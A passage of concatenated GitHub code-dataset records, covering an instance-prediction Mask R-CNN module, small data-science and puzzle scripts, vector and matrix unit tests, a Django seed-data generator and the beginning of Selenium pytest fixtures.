merge_cfg_from_file(args.cfg_file)\n if args.opts is not None:\n merge_cfg_from_list(args.opts)\n assert_and_infer_cfg()\n\n if model is None or model == False:\n self.model = initialize_model_from_cfg(instanciate_head_also=True)\n else:\n self.model = model\n\n gpu_dev = caffe2_core.DeviceOption(caffe2_pb2.CUDA, gpu_id)\n name_scope = 'gpu_{}'.format(gpu_id)\n # Subsampler - originally inside the FPN network. But we don't want to predict the subsampled features.\n # Instead, we want to predict the features, and then use the same subsampling operator to obtain the subsampled features\n with caffe2_core.NameScope(name_scope):\n with caffe2_core.DeviceScope(gpu_dev):\n self.subsampler = caffe2_core.CreateOperator(\n \"MaxPool\", # operator\n [\"predicted_fpn_res5_2_sum\"], #input blobs\n [\"predicted_fpn_res5_2_sum_subsampled_2x\"], #output blobs\n kernel=1, pad=0, stride=2,\n deterministic = 1\n )\n\n self.timers = {k: Timer() for k in\n ['im_detect_bbox', 'im_detect_mask',\n 'misc_bbox', 'misc_mask', 'im_forward_backbone']}\n\n # For evaluation with respect to the dataset's gt, we save the prediction of the annotated frame for each sequence\n self.num_classes = cfg.MODEL.NUM_CLASSES\n self.num_images = len(self.im_list)\n self.all_boxes_ann_frame, self.all_segms_ann_frame, _ = empty_results(self.num_classes, self.num_images)\n self.id_sequences = []\n self.gpu_id = gpu_id\n\n def run(self, index, inputFeatures, accumulate = True, image_path = None):\n \"\"\"\n index - index of the dataset entry\n inputFeatures - features input to the head\n accumulate - whether to save to predictions in self.all_... members\n image_path - path to the annotated image, to which the predictions correspond\n \"\"\"\n timers = self.timers\n # Format the inputs to the mask rcnn head\n features = {}\n for k, v in inputFeatures.iteritems():\n assert v.dim() == 3, 'Batch mode not allowed'\n features[k] = np.expand_dims(v.data.cpu().numpy(), axis=0)\n\n gpu_dev = caffe2_core.DeviceOption(caffe2_pb2.CUDA, self.gpu_id)\n name_scope = 'gpu_{}'.format(self.gpu_id)\n\n # Clean the workspace to make damn sure that nothing comes from the\n # possible forwarding of target features, depending on the use of this\n # module\n parameters = [str(s) for s in self.model.params] + [ str(s) + '_momentum' for s in self.model.TrainableParams()]\n for b in workspace.Blobs():\n if not b in parameters:\n workspace.FeedBlob(b, np.array([]))\n\n # Produce the top level of the pyramid of features\n with caffe2_core.NameScope(name_scope):\n with caffe2_core.DeviceScope(gpu_dev):\n workspace.FeedBlob(caffe2_core.ScopedName(\"predicted_fpn_res5_2_sum\"), features['fpn_res5_2_sum'])\n workspace.RunOperatorOnce(self.subsampler)\n features[u'fpn_res5_2_sum_subsampled_2x'] = workspace.FetchBlob(caffe2_core.ScopedName(\"predicted_fpn_res5_2_sum_subsampled_2x\"))\n\n\n # Forward the rest of the features in the head of the model\n im_info = np.array([[1024., 2048., 1.]], dtype = np.float32)\n im_scales = np.array([1.])\n im_shape = (1024, 2048, 3)\n with caffe2_core.NameScope(name_scope):\n with caffe2_core.DeviceScope(gpu_dev):\n cls_boxes_i, cls_segms_i = im_detect_all_given_features(\n self.model, self.subsampler, features, im_info, im_scales, im_shape, timers)\n\n # If required, store the results in the class's members\n if accumulate:\n extend_results(index, self.all_boxes_ann_frame, cls_boxes_i)\n if cls_segms_i is not None and accumulate:\n extend_results(index, self.all_segms_ann_frame, cls_segms_i)\n\n if image_path is not None and accumulate:\n self.id_sequences.append(image_path)\n\n if index % 10 == 0:\n ave_total_time = np.sum([t.average_time for t in timers.values()])\n det_time = (timers['im_detect_bbox'].average_time +\n timers['im_detect_mask'].average_time )\n misc_time = (timers['misc_bbox'].average_time +\n timers['misc_mask'].average_time\n )\n print(\n ('im_detect: '\n '{:d}/{:d} {:.3f}s + {:.3f}s => avg total time: {:.3f}s').format(\n index, self.num_images,\n det_time, misc_time, ave_total_time))\n\n return cls_boxes_i, cls_segms_i\n\n def save_annotated_frame_results(self, config, output_dir = './quantitative_eval/', st=None, en=None):\n det_filename = 'detections'\n det_filename += '_%d' % st if not st is None else ''\n det_filename += '_%d' % en if not en is None else ''\n det_filename +='.pkl'\n det_file = os.path.join(output_dir, det_filename)\n cfg_yaml = yaml.dump(cfg)\n save_object(\n dict(all_boxes=self.all_boxes_ann_frame,\n all_segms=self.all_segms_ann_frame,\n cfg=cfg_yaml, all_ids = self.id_sequences, config=config),\n det_file\n )\n self.all_boxes_ann_frame, self.all_segms_ann_frame, _ = empty_results(self.num_classes, self.num_images)\n self.id_sequences = []\n logger.info('Wrote detections to: {}'.format(os.path.abspath(det_file)))\n","repo_name":"facebookresearch/instpred","sub_path":"MaskRcnnHeadEndToEnd.py","file_name":"MaskRcnnHeadEndToEnd.py","file_ext":"py","file_size_in_byte":12053,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"69"} +{"seq_id":"23318562688","text":"import pandas as pd\nfrom sklearn import linear_model\nimport matplotlib.pyplot as plt\nimport statsmodels.stats as stats\nimport seaborn as sns\nimport statsmodels.formula.api as smf\nimport numpy as np\n\n\ndata = pd.read_csv(\"https://onlinecourses.science.psu.edu/stat501/sites/onlinecourses.science.psu.edu.stat501/files/data/wordrecall.txt\",sep='\\t', lineterminator='\\n')\ndata.head()\ndata_x=pd.DataFrame(data.time)\ntype(data_x)\ndata_y=pd.DataFrame(data.prop)\nplt.plot(data.time,data.prop)\nregr=linear_model.LinearRegression()\nfitres=regr.fit(data_x,data_y)\n\n#plot to see the linearity\nsns.residplot(x=\"time\",y=\"prop\",data=data, lowess=True, color=\"g\")\nsns.lmplot(x=\"time\",y=\"prop\",data=data)\nsns.pairplot(data)\n\nlm = smf.ols(formula=\"time~prop\",data=data).fit()\nprint(lm.summary())\n\n#residual Plot\nplt.figure()\nlm.resid.plot.density()\nplt.show()\nprint('Residual mean:', np.mean(lm.resid))\ninfluence=lm.get_influence() \nresid_student=influence.resid_studentized_external\n(cooks, p) = influence.cooks_distance\n(dffits, p) = influence.dffits\nleverage = influence.hat_matrix_diag \nsns.regplot(leverage, lm.resid_pearson, fit_reg=False)\n\n","repo_name":"chandramohank/Datascience","sub_path":"Python/linear ression using state models.py","file_name":"linear ression using state models.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29399961353","text":"from torch.utils.data import Dataset\nfrom torch.distributions.multivariate_normal import MultivariateNormal\nimport numpy as np\nimport torch\nimport torch.distributions as D\n\n\nclass ToyGauss(Dataset):\n \"\"\"Toy dataset: X is sample from Gaussian i, Y is the id of the Gaussian\"\"\"\n gaussians = [] # must be same between test and train sets\n\n def __init__(self, dp, mode='train'):\n self.dp = dp\n torch.manual_seed(dp.seed)\n if not self.gaussians:\n self.init_gauss()\n self.gen_data()\n print([g.mean for g in self.gaussians])\n self.input_prior = D.MultivariateNormal(torch.ones(self.dp.gauss_dim,)*50, torch.eye(self.dp.gauss_dim,)*50)\n\n def init_gauss(self):\n self.__class__.gaussians = []\n for _ in range(self.dp.num_classes):\n mean = torch.randint(100, (self.dp.gauss_dim,))\n m = torch.rand((self.dp.gauss_dim, self.dp.gauss_dim))\n cov_mtx = m@m.T + torch.eye(self.dp.gauss_dim)\n m = MultivariateNormal(mean.float(), cov_mtx)\n self.__class__.gaussians.append(m)\n\n def gen_data(self):\n self.xs = []\n self.ys = []\n\n for _ in range(self.dp.num_samples):\n rand_index = torch.randint(self.dp.num_classes, (1, 1))\n gaussian = self.gaussians[rand_index]\n item = gaussian.sample()\n self.xs.append(item)\n self.ys.append(rand_index)\n\n def __len__(self):\n return self.dp.num_samples\n\n def __getitem__(self, idx):\n return self.xs[idx].to(self.dp.device), self.ys[idx].squeeze().to(self.dp.device)","repo_name":"ayushkamat/eecs_229a_final_project","sub_path":"data/toy_gauss_data.py","file_name":"toy_gauss_data.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"15877091952","text":"#!/Users/mmirovic/venv/bin/python3\n# Advent of code 2017 by mmirovic\n\ndef parse(fname):\n r = []\n f = open(fname, 'r').read()\n l = list(map(int,f.strip().split(',')))\n\n return l\n\ndef parse2(fname):\n r = []\n f = open(fname, 'r').read()\n l = list(map(ord,f.strip()))\n\n return l\n\n\ndef part1(data, l = list(range(256)), i=0, s=0):\n\n for el in data:\n l = reverse (l,i,el)\n i = (i + el + s) % len(l)\n s += 1\n\n return l, i, s\n\n\ndef reverse(data, i, l):\n\n b = i\n e = i+l\n\n if e <= len(data):\n data = data[0:b] + list(reversed(data[b:e])) + data[e:]\n\n else:\n e = e % len(data)\n r = list(reversed(data[b:]+data[:e]))\n data = r[len(data)-i:] + data[e:b] + r[:len(data)-i]\n\n return data\n\ndef part2(data):\n\n data += [17, 31, 73, 47, 23]\n l = list(range(256))\n i = 0\n s = 0\n\n for c in range(64):\n l, i, s = part1(data,l,i,s)\n\n r = ''\n\n for i in range(16):\n x = 0\n for j in range(16):\n x ^= l[i*16+j]\n\n r += '%02x' % x\n\n return r\n\n\nif __name__ == '__main__':\n data = parse('input')\n r = part1(data)\n print ('Result for part 1 is:', r[0][0]*r[0][1])\n\n data = parse2('input')\n print ('Result for part 2 is:', part2(data))\n","repo_name":"mmirovic/advent-of-code-2017","sub_path":"puzzle10/puzzle10.py","file_name":"puzzle10.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22642689426","text":"import sys\nread=sys.stdin.readline\n\nN,M=map(int,read().split())\n\ngraph=[]\nfor _ in range(M):\n temp=list(read().strip())\n graph.append(temp)\n\nvisit=[[False]*N for _ in range(M)]\nx=[0,0,-1,1]\ny=[-1,1,0,0]\ndef bfs_cheak(i,j,color):\n if visit[i][j]==True or graph[i][j]!=color:\n return 0\n visit[i][j]=True\n q=[(i,j)]\n ret=1\n while q:\n q_i,q_j=q.pop(0)\n for k in range(4):\n next_i=q_i+y[k]\n next_j=q_j+x[k]\n\n if (0<=next_i and next_i<M) and (0<=next_j and next_j<N) and visit[next_i][next_j]==False:\n if graph[next_i][next_j]==color:\n q.append((next_i,next_j))\n ret+=1\n visit[next_i][next_j]=True\n \n return ret\n\nwhite=0\nblue=0\nfor i in range(M):\n for j in range(N):\n white+=bfs_cheak(i,j,'W')**2\n blue+=bfs_cheak(i,j,'B')**2\n\nprint(white,blue)","repo_name":"vhehduatks/CT","sub_path":"BAEKJOON/1303.py","file_name":"1303.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"1466554873","text":"from colorama import Fore\nfrom linear_algebra.matrix import Matrix\nfrom linear_algebra.vector import Vector\nimport unittest\nimport sys\nimport os\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(os.path.dirname(SCRIPT_DIR))\n\n\nclass TestVector(unittest.TestCase):\n def setUp(self):\n print(Fore.YELLOW)\n print(self.shortDescription())\n print(Fore.RESET)\n\n def test_utils(self):\n \"\"\"test utilitary functions\n - get_size()\n - __str__()\n - reshape()\n \"\"\"\n test = Vector([1.0, 1.0])\n self.assertEqual(test.__str__(), \"[1.0, 1.0]\")\n self.assertEqual(test.get_size(), 2)\n try:\n empty = Vector([])\n except TypeError as error:\n print(f\"TypeError: {error}\")\n\n test_reshape = Vector([1, 2, 3, 4, 5, 6])\n self.assertEqual(test_reshape.reshape(2, 3), [\n [1.0, 2.0, 3.0], [4.0, 5.0, 6.0]])\n try:\n self.assertEqual(\n test_reshape.reshape(2, 2), [[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]]\n )\n except ValueError as error:\n print(f\"ValueError: {error}\")\n\n def test_add(self):\n \"\"\"test add a vector\"\"\"\n u = Vector([2.0, 3.0])\n v = Vector([5.0, 7.0])\n print(f\"u = {u.__str__()}\")\n print(f\"v = {v.__str__()}\")\n print(f\"u = {u.__str__()} + {v.__str__()}\")\n u.add(v)\n self.assertEqual(u.data, [7.0, 10.0])\n print(f\"u = {u.__str__()}\\n\")\n\n u = Vector([2.0])\n v = Vector([5.0, 7.0])\n print(f\"u = {u.__str__()}\")\n print(f\"v = {v.__str__()}\")\n print(f\"u = {u.__str__()} + {v.__str__()}\")\n try:\n self.assertEqual(u.add(v), Vector([7.0, 10.0]))\n except ValueError as error:\n print(f\"ValueError: {error}\")\n\n def test_subtract(self):\n \"\"\"test substract a vector\"\"\"\n u = Vector([2.0, 3.0])\n v = Vector([5.0, 7.0])\n print(f\"u = {u.__str__()}\")\n print(f\"v = {v.__str__()}\")\n print(f\"u = {u.__str__()} + {v.__str__()}\")\n u.sub(v)\n self.assertEqual(u.data, [-3.0, -4.0])\n print(f\"u = {u.__str__()}\\n\")\n\n u = Vector([2.0])\n v = Vector([5.0, 7.0])\n print(f\"u = {u.__str__()}\")\n print(f\"v = {v.__str__()}\")\n print(f\"u = {u.__str__()} + {v.__str__()}\")\n try:\n self.assertEqual(u.sub(v), [-3.0, -4.0])\n except ValueError as error:\n print(f\"ValueError: {error}\")\n\n def test_scale(self):\n \"\"\"test multiply a vector by a scalar\"\"\"\n u = Vector([2.0, 3.0])\n print(f\"u = {u.__str__()} * 2\")\n u.scl(2.0)\n self.assertEqual(u.data, [4.0, 6.0])\n print(f\"u = {u.__str__()}\")\n\n\nclass TestMatrix(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n print(\"\\n[Exercice 00] add, substract and scale\")\n print(\"----------------------------------------------------------------------\")\n\n def setUp(self):\n print(Fore.LIGHTCYAN_EX)\n print(self.shortDescription())\n print(Fore.RESET)\n\n def test_utils(self):\n \"\"\"test utilitary functions\n - get_shape()\n - __str__()\n - reshape()\n - is_square()\n \"\"\"\n u = Matrix([[1.0, 2.0], [3.0, 4.0]])\n print(f\"Matrix:\\n{u.__str__()}\")\n self.assertEqual(u.get_shape(), (2, 2))\n self.assertEqual(u.is_square(), True)\n\n reshaped = u.reshape()\n print(\"reshaped matrix to one dimensional vector:\", reshaped)\n self.assertEqual(reshaped, [1.0, 2.0, 3.0, 4.0])\n\n def test_add(self):\n \"\"\"test add a matrix\"\"\"\n u = Matrix([[1.0, 2.0], [3.0, 4.0]])\n v = Matrix([[7.0, 4.0], [-2.0, 2.0]])\n print(f\"Matrix u:\\n{u.__str__()}\")\n print(f\"Matrix v:\\n{v.__str__()}\")\n u.add(v)\n self.assertEqual(u.data, [[8.0, 6.0], [1.0, 6.0]])\n print(f\"Matrix u + Matrix v:\\n{u.__str__()}\")\n\n u = Matrix([[1.0], [3.0]])\n v = Matrix([[7.0, 4.0], [-2.0, 2.0]])\n print(f\"Matrix u:\\n{u.__str__()}\")\n print(f\"Matrix v:\\n{v.__str__()}\")\n try:\n self.assertEqual(u.add(v), [[8.0, 6.0], [1.0, 6.0]])\n except ValueError as error:\n print(f\"ValueError: {error}\")\n\n def test_subtract(self):\n \"\"\"test substract a matrix\"\"\"\n u = Matrix([[1.0, 2.0], [3.0, 4.0]])\n v = Matrix([[7.0, 4.0], [-2.0, 2.0]])\n print(f\"Matrix u:\\n{u.__str__()}\")\n print(f\"Matrix v:\\n{v.__str__()}\")\n u.sub(v)\n self.assertEqual(u.data, [[-6.0, -2.0], [5.0, 2.0]])\n print(f\"Matrix u - Matrix v:\\n{u.__str__()}\")\n\n def test_scale(self):\n \"\"\"test multiply a matrix by a scalar\"\"\"\n u = Matrix([[1.0, 2.0], [3.0, 4.0]])\n print(f\"Matrix u:\\n{u.__str__()}\")\n u.scl(2.0)\n self.assertEqual(u.data, [[2.0, 4.0], [6.0, 8.0]])\n print(f\"Matrix u * 2:\\n{u.__str__()}\")\n","repo_name":"jhparkkkk/matrix","sub_path":"ex00/add_substract_scale_test.py","file_name":"add_substract_scale_test.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18150556137","text":"# 응용. 괄호 세트가 여러 개 이고 중간에 문자가 껴 있을 때\n\nstack2 = [0] * 100\ntop = -1\n\nInfo = [-1] * 128 # char = 1byte , ASCII code 7bit\nData = 'aa[{}]a(s({b}))[{}]bb'\n\nInfo[ord(')')] = '('\nInfo[ord(']')] = '['\nInfo[ord('>')] = '<'\nInfo[ord('}')] = '{'\n\nhowmany = len(Data)\nfor i in range(howmany):\n if Data[i] == '(' or Data[i] == '{' or Data[i] == '[' or Data[i] == '<': # 열린 괄호가 들어오면\n top += 1\n stack2[top] = Data[i]\n\n elif Info[ord(Data[i])] == stack2[top]: # 닫힌 괄호가 들어와서 짝이 맞으면\n stack2[top] = 0\n top -= 1\n\n elif Info[ord(Data[i])] != stack2[top]: # 닫힌 괄호나 문자가 들어와서, 짝이 안 맞고\n if Data[i] in [']', '>', '}', ')']: # 닫힌 괄호이면 ( 문자는 여기서 걸러짐)\n top -= 1\n break\n\n\nif top == -1:\n print('통과입니다')\nelse:\n print('오류입니다')\n\n","repo_name":"myccpb08/Algo-class","sub_path":"수업/Day05 Stack, 재귀, DFS/01. stack 괄호검사 응용 문자있음.py","file_name":"01. stack 괄호검사 응용 문자있음.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"206359762","text":"import random\n\nimport mimesis\nfrom django.contrib.auth.models import User\nfrom django.db.models import Q\nfrom mimesis import Person\nfrom mimesis.enums import Gender\nfrom mimesis.locales import Locale\n\nfrom src.accounts.models import Profile, ExecutorOffer, Specialization, Status\nfrom src.projects.models import Project\nfrom src.tests.models import BelbinTest, MBTITest, LSQTest\n\nusername_whitelist = [\n 'dm1tr',\n]\n\ntext = mimesis.Text(Locale.RU)\naddress = mimesis.Address(Locale.RU)\nperson = Person(Locale.RU)\n\n\ndef generate_users(n=1):\n for i in range(n):\n user = User.objects.create(**{'username': person.username(\n drange=(1, 2100)),\n 'email': person.email()})\n user.set_password('worldhello')\n user.profile.belbin.set(list(random.sample(list(range(1, 8)),\n random.randint(0, 2))))\n\n mx = Specialization.objects.last().id\n mn = Specialization.objects.first().id\n user.profile.specialization.set(\n list(random.sample(list(range(mn, mx + 1)), random.randint(0, 5))))\n\n if random.randint(0, 1) == 0:\n user.profile.is_male = True\n user.first_name = person.name(gender=Gender.MALE)\n user.last_name = person.last_name(gender=Gender.MALE)\n else:\n user.profile.is_male = False\n user.first_name = person.name(gender=Gender.FEMALE)\n user.last_name = person.last_name(gender=Gender.FEMALE)\n\n user.profile.city = address.city()\n user.profile.description = text.text(random.randint(1, 5))\n user.profile.age = random.randint(20, 77)\n\n if random.randint(0, 1) > 0:\n user.profile.remote = random.randint(1, 3)\n\n user.profile.save()\n user.save()\n\n\ndef generate_projects():\n for profile in Profile.objects.filter(\n ~Q(user__username__in=username_whitelist)):\n if random.randint(0, 10) < 4:\n project = Project.objects.create(\n owner=profile,\n title=text.word() + ' ' + text.word(),\n description=text.text(random.randint(1, 5)),\n vacant=random.randint(0, 20),\n city=address.city(),\n )\n\n if random.randint(0, 1) > 0:\n project.online = True if random.randint(0, 1) > 0 else False\n\n mx = BelbinTest.objects.last().id\n mn = BelbinTest.objects.first().id\n project.required_belbin.set(\n list(random.sample(list(range(mn, mx + 1)),\n random.randint(1, 7))))\n\n mx = Specialization.objects.last().id\n mn = Specialization.objects.first().id\n a = list(\n random.sample(list(range(mn, mx + 1)), random.randint(1, 20)))\n project.required_specialization.set(a)\n\n\ndef generate_executor_offers():\n for profile in Profile.objects.filter(\n ~Q(user__username__in=username_whitelist)):\n ExecutorOffer.objects.create(\n profile=profile,\n description=text.text(random.randint(1, 5)),\n work_hours=random.randint(3, 100),\n salary=random.randint(10_000, 1_000_000),\n )\n\n\ndef generate_belbin_roles():\n if BelbinTest.objects.all().exists():\n return\n\n roles = [\n 'Педант',\n 'Душа команды',\n 'Аналитик-стратег',\n 'Исследователь ресурсов',\n 'Генератор идей',\n 'Мотиватор',\n 'Координатор',\n 'Исполнитель'\n ]\n\n for role in roles:\n BelbinTest.objects.create(role=role)\n\n\ndef generate_mbti_roles():\n if MBTITest.objects.all().exists():\n return\n\n roles = [\n 'Иррационал',\n 'Рационал',\n 'Логик',\n 'Этик',\n 'Интуит',\n 'Сенсорик',\n 'Интроверт',\n 'Экстраверт'\n ]\n\n for role in roles:\n MBTITest.objects.create(role=role)\n\n\ndef generate_lsq_roles():\n if LSQTest.objects.all().exists():\n return\n\n roles = [\n 'Рефлексирующий',\n 'Прагматик',\n 'Теоретик',\n 'Деятель',\n ]\n\n for role in roles:\n LSQTest.objects.create(role=role)\n\n\ndef generate_specializations():\n if Specialization.objects.all().exists():\n return\n\n spec_list = {'Диспетчер', 'Контроль качества', 'Корректор, ретушер',\n 'Администрирование', 'Закупки, Снабжение',\n 'Кассовое обслуживание, инкассация', 'Автомобильный бизнес',\n 'Антимонопольное право', 'Компенсации и льготы',\n 'Дизайн/Оформление',\n 'Языки', 'Продажа', 'Сиделка', 'Маркшейдер',\n 'Легкая промышленность',\n 'Химия', 'CIPA', 'Реинжиниринг бизнес процессов',\n 'Гражданская авиация',\n 'Налоговое право', 'Верстальщик', 'Машинист производства',\n 'Правительство', 'Парикмахер', 'Главный агроном',\n 'Ипотека, Ипотечное кредитование', 'Ногтевой сервис',\n 'Станки, Тяжелое оборудование', 'Internet, E-Commerce',\n 'Медицинское оборудование', 'Массажист', 'Перестрахование',\n 'Кассир, Инкассатор', 'Агент', 'Арт директор', 'Девелопер',\n 'Законотворчество', 'Помощник по хозяйству, Управляющий',\n 'Администратор баз данных',\n 'Менеджер по сервису - сетевые и телекоммуникационные технологии',\n 'Атомная энергетика', 'Железнодорожные перевозки',\n 'Страхование недвижимости', 'Телевидение', 'Автослесарь',\n 'Аналитик',\n 'Банковское ПО', 'Авиационная промышленность',\n 'Информатика, Информационные системы', 'Курьер', 'Лаборант',\n 'Воспитатель, Гувернантка/гувернёр, Няня', 'Фотография',\n 'Управление персоналом', 'Корпоративные финансы',\n 'Сервисное обслуживание', 'Повар', 'CTO, CIO, Директор по IT',\n 'Гид, Экскурсовод', 'Автомойщик',\n 'Отопление, вентиляция и кондиционирование',\n 'Деревообработка, Лесная промышленность',\n 'Компьютерные программы',\n 'Интернет-маркетинг', 'Бурение', 'Главный инженер',\n 'Бухгалтер-калькулятор', 'Коммерческий Банк', 'Журналистика',\n 'Оптика',\n 'Морские/Речные перевозки', 'Автозапчасти',\n 'Административный персонал',\n 'Добыча сырья', 'Актуарий', 'Машинист экскаватора',\n 'Бюджетирование и планирование', 'Консультант', 'Лифтер',\n 'Руководитель направления', 'Рабочий персонал',\n 'Private Banking',\n 'Комплексное страхование юридических лиц', 'Косметология',\n 'Синхронный перевод', 'Compliance', 'Письменный перевод',\n 'Секретарь',\n 'Игровое ПО', 'Анимация', 'Гостиницы, Магазины', 'Логистика',\n 'Дизайнер',\n 'PR, Маркетинговые коммуникации', 'Маркетинг, Реклама, PR',\n 'Консультирование', 'Архивист', 'Арт-директор', 'Web мастер',\n 'Издательская деятельность', 'Механик', 'Развитие персонала',\n 'Интеллектуальная собственность', 'Недвижимость', 'Стратегия',\n 'Казначейство', 'Антикризисное управление',\n 'Размещение, Обслуживание гостей',\n 'Инсталляция и настройка оборудования',\n 'Охранник', 'Главный механик',\n 'Внутренние операции (Back Office)',\n 'Оператор станков', 'Пожарная безопасность', 'Персонал кухни',\n 'Forex',\n 'Экономическая и информационная безопасность',\n 'Продукты питания',\n 'Жестянщик', 'Бизнес-авиация', 'Автомобили, Запчасти',\n 'FMCG, Товары народного потребления',\n 'Инвестиционная компания',\n 'Информационные технологии', 'Страхование ответственности',\n 'Корпоративное право', 'Руда', 'Производство',\n 'Закупки и снабжение',\n 'Контент', 'Архивариус',\n 'Организация туристических продуктов',\n 'Дошкольное образование', 'Преподавание', 'Автокредитование',\n 'Ввод данных', 'Медицинское страхование', 'Ассистент',\n 'Начальный уровень, Мало опыта', 'ЖКХ',\n 'Информационные технологии, Интернет, Мультимедиа',\n 'Зоотехник',\n 'Искусство, Развлечения, Масс-медиа', 'Врач-эксперт',\n 'Управление закупками', 'Консалтинг, Аутсорсинг',\n 'Конструктор',\n 'Персональный водитель', 'Дефектолог, Логопед',\n 'Сотрудник полиции/ГИБДД',\n 'Менеджер по работе с клиентами', 'Бренд-менеджмент',\n 'Общественный транспорт', 'Грузчик',\n 'Компьютерная безопасность',\n 'Компьютерная техника', 'Аудит, Внутренний контроль',\n 'Дизайн, графика, живопись', 'Имущественная безопасность',\n 'Управление проектами', 'Уборщица/уборщик',\n 'Автомобильная промышленность', 'Гардеробщик', 'Монтажник',\n 'Репетитор',\n 'Нефть', 'Ресепшен', 'Наука, Образование',\n 'Менеджмент продукта (Product manager)', 'CRM системы',\n 'Прокат, лизинг',\n 'Науки о Земле', 'Дистрибуция', 'Тренерский состав',\n 'МСФО, IFRS', 'Газ',\n 'Дорожные рабочие', 'Денежный рынок (money market)',\n 'Инкассатор',\n 'Управление предприятием', 'Казино и игорный бизнес',\n 'Инженер, Мясо- и птицепереработка', 'Сомелье',\n 'Добыча cырья',\n 'Автострахование', 'Кино', 'Страхование жизни',\n 'Последовательный перевод', 'Строительные материалы',\n 'Web инженер',\n 'Медицинский представитель', 'Сертификация', 'Автоперевозки',\n 'Официант, Бармен', 'Бюджетирование', 'Благотворительность',\n 'Мебель',\n 'ACCA', 'Землеустройство', 'Страхование бизнеса',\n 'Многоуровневый маркетинг',\n 'Менеджер по сервису - промышленное оборудование', 'Тренинги',\n 'Казначейство, Управление ликвидностью', 'Налоги',\n 'Комплектовщик, Укладчик-упаковщик', 'Валютный контроль',\n 'Учет кадров',\n 'Производство, Технологии', 'Радио', 'Продажи',\n 'Кредитный контроль',\n 'Автожестянщик', 'Below The Line (BTL)', 'Дворник, Уборщик',\n 'Лекарственные препараты', 'Интернет', 'Акции, Ценные бумаги',\n 'Кладовщик', 'Оценка', 'Тендеры', 'Экономика, Менеджмент',\n 'АХО',\n 'Личная безопасность', 'ВЭД', 'Дилерские сети', 'Математика',\n 'Другое',\n 'Муниципалитет', 'Сервисный инженер', 'GAAP',\n 'Проектирование, Архитектура', 'Наладчик', 'Шины, Диски',\n 'Руководитель СБ', 'Аудит', 'Бухгалтер', 'Музыка', 'Провизор',\n 'Договорное право', 'Авиабилеты', 'Общественные организации',\n 'Клинические исследования', 'Мерчендайзинг',\n 'Инженерные науки',\n 'Основные средства', 'Страхование',\n 'Комплексное страхование физических лиц',\n 'Медицина, Фармацевтика',\n 'Фармацевтика', 'Клининговые услуги', 'Биотехнологии',\n 'Системы видеонаблюдения', 'Алкоголь', 'Лечащий врач',\n 'Геологоразведка',\n 'Бронирование', 'Товары для бизнеса', 'Закупки',\n 'Геодезия и картография',\n 'Администрация', 'Организационное консультирование',\n 'Сотрудник call-центра', 'Краснодеревщик', 'Авиаперевозки',\n 'Кейтеринг',\n 'Мода', 'Военнослужащий',\n 'домработница/домработник, Горничная', 'Уголь',\n 'Организация встреч, Конференций', 'Рекрутмент',\n 'Производство, Технология', 'Водитель', 'ГСМ, нефть, бензин',\n 'Физика',\n 'Контейнерные перевозки', 'НИИ', 'Инженер',\n 'Литературная, Редакторская деятельность',\n 'Взыскание задолженности, Коллекторская деятельность',\n 'Продажа туристических услуг', 'Персональный ассистент',\n 'Гуманитарные науки', 'Маркетинг', 'Маляр', 'Инвестиции',\n 'Банковское право', 'Строительство, Недвижимость',\n 'Земельное право',\n 'Инженер, Производство и переработка зерновых', 'Арбитраж',\n 'Бухгалтерия',\n 'Коп��райтер', 'Управленческое консультирование',\n 'Андеррайтер',\n 'Младший и средний медперсонал', 'Исследования рынка',\n 'Бытовая техника',\n 'Водоснабжение и канализация', 'Адвокат', 'Делопроизводство',\n 'Банкеты',\n 'Жилье', 'Управление практикой', 'Медицинский советник',\n 'Международное право', 'Ветеринария', 'Нежилые помещения',\n 'Металлопрокат'}\n\n for spec in spec_list:\n Specialization.objects.create(name=spec)\n\n\ndef generate_statuses():\n if Status.objects.all().exists():\n return\n\n statuses = ['Приглашен', 'Ожидает']\n\n for status in statuses:\n Status.objects.create(value=status)\n\n\ndef generate_all():\n generate_specializations()\n generate_mbti_roles()\n generate_lsq_roles()\n generate_belbin_roles()\n generate_statuses()\n generate_users(100)\n generate_projects()\n generate_executor_offers()\n\n\ndef init_base():\n generate_specializations()\n generate_mbti_roles()\n generate_lsq_roles()\n generate_belbin_roles()\n generate_statuses()\n print('Everything created')\n\n\ninit_base()\n","repo_name":"DmitySH/team-up","sub_path":"test_fillers/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":19164,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"24147480806","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\nimport json\n\n@pytest.fixture(scope='class')\ndef get_chromedriver():\n driver = webdriver.Chrome()\n driver.implicitly_wait(5)\n yield driver\n driver.quit()\n\n@pytest.fixture(scope='class')\ndef get_chromedriver_debug():\n chrome_arg = webdriver.ChromeOptions()\n chrome_arg.debugger_address=\"127.0.0.1:9222\"\n driver = webdriver.Chrome(options=chrome_arg)\n driver.implicitly_wait(5)\n yield driver\n driver.quit()\n\n\n\nclass TestSelenium:\n\n def setup_method(self,method):\n self.var = {}\n\n def teardown_method(self,method):\n pass\n\n def test_open(self,get_chromedriver):\n driver = get_chromedriver\n driver.get(\"https://work.weixin.qq.com/\")\n driver.find_element(By.XPATH, '//*[@class=\"index_head_info_pCDownloadBtn\"]').click()\n driver.find_element(By.XPATH, '//*[@class=\"qui_inputText ww_inputText ww_inputText_Big\"]').send_keys(\"Bravo!\")\n time.sleep(3)\n\n def test_cookie_save(self,get_chromedriver_debug):\n # 